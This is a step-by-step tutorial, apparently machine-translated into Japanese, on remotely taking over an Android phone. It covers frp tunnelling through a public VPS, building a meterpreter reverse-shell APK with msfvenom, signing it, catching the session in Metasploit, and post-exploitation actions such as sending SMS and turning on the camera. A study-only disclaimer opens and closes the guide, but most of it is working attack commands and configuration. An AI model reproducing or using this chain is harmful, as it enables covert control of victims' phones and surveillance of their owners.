免責事項, この記事の実験は実験の学習とテストにのみ使用されます. 他の目的には使用しないでください.
まず、frp ツールを使用してポート マッピングを実装し、内部ネットワーク上の攻撃マシン kali を使用して Android に侵入します外部ネットワーク上のマシン。
1. イントラネットの浸透
ラボ環境:
- 対象の Android デバイス
- パブリックネットワーク vps (centos)
- イントラネット攻撃マシン kali
アイデア:
- FRPサーバーを実行するパブリックネットワークvps
- ローカルの kali は FRP クライアントを実行します
- kali ローカル ポートをパブリック ネットワーク VPS にマッピングする
VPSサーバー:
frp サーバーとして vps を使用し、 ./frps -c ./frps.ini を実行します。サーバー構成 frps.ini は次のとおりです。
クライアント:
イントラネット攻撃マシン kali を frp クライアントとして使用し、クライアントの frps.ini を次のように構成します。
[common]
server_addr = 118.24.74.203 # 这里是公网vps的ip
server_port = 7000 # 这里的端口要跟服务端的一样
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444 # 将到达frp服务器的数据转发给本地的4444端口
remote_port = 11111 # 服务端的11111端口转发给本地
クライアントは、vps の IP とリスニング ポート 7000 を介して接続を確立し、パブリック ネットワークのポート 11111 上のデータをローカル ポート 4444 に送信します。構成後、 ./frpc -c ./frpc.ini を実行してクライアントを起動します。
2. Metasploit がトロイの木馬を生成する
Metasploit を使用して、ペイロードがロードされた Android APK を生成します。Kali Linux で新しいウィンドウを開き、次のように入力します。
msfvenom -p android/meterpreter/reverse_tcp LHOST=39.xxx.xxx.210(vps公网ip)
LPORT=2333(公网) R > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=118.24.74.203 LPORT=11111 R >
/home/kali/shell.apk
3. APK アプリケーションに署名します (必須ではありません)
Android 形式 (APK) ファイルのペイロードが正常に作成されました。
ただし、現在では一般に、Android モバイル デバイスでは、適切な署名証明書がなければアプリケーションのインストールが許可されません。Android デバイスは、署名されたファイルを含む APK のみをインストールします。
手動署名には次のツールを使用できます。
Keytool
JARsigner
zipalign
これら 3 つのソフトウェアのうち、最初の 2 つは Kali に組み込まれており、3 つ目はインストールする必要があります (Kali の新しいバージョンでは、JARsigner も apt install openjdk-11-jdk-headless をインストールする必要があります
)
- keytool を使用してキー ファイルを生成します。
キーの名前、ユニット、アドレス、その他の情報を入力し、最終的にキー ファイルを生成します。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg
RSA -keysize 2048 -validity 10000
上記で尋ねられたことをそのまま入力できますが、最後に「yes」と入力せずに「y」を省略しないように注意してください。そうしないと、質問が続くことになります。
次の図に示すように、キー ファイルを生成します。
2. キー ファイルを使用して、JARsigner で APK に署名します
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-releasekey.Keystore shell.apk alias_name
3. 次に、JARsigner を使用して署名を検証します。
jarsigner -verify -verbose -certs shell.apk
ここまでで署名プロセスが完了し、このshell.apkがAndroidで使用できるようになります。
4. モニタリングのために Metasploit をオンにする
metasploit を使用してデータをローカルで受け入れるポートをリッスンする
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit
次に、ペイロードを含む APK を携帯電話に送信してインストールして開始します。この時点で、携帯電話のセッションは msf で取得できます
。
ここで、一部の携帯電話で取得したセッションがしばらくすると自動的に切断されてしまうのですが、理由はわかりませんが、解決策を考えたのですが、セッションを取得したらすぐに webcam_stream を実行してリモートビデオを開始し、その後ビデオを切断し
ます、セッションは安定します。 、
切断されなくなります。理由はわかりません。
ターゲットの Android スマートフォンの Meterpreter 権限を取得したら、次のコマンドを実行して侵入後攻撃を実行できます。
5. エクスプロイト後の攻撃
電話機がルート化されているかどうかを確認する
check_root
ターゲットの携帯電話を制御してSMSを送信します
send_sms -d 某个手机号码 -t "hello"
対象の Android 携帯電話の Meterpreter 権限を取得すると、充電された携帯電話上でさまざまなコマンドを通じて、カメラのオン、位置決め、写真の撮影などのさまざまな操作を実行できるようになります。コマンドですべてを検索できます。ここではあまり説明しません。興味があれば調べてみましょう。繰り返しになりますが、この記事の実験は学習のみを目的としています。。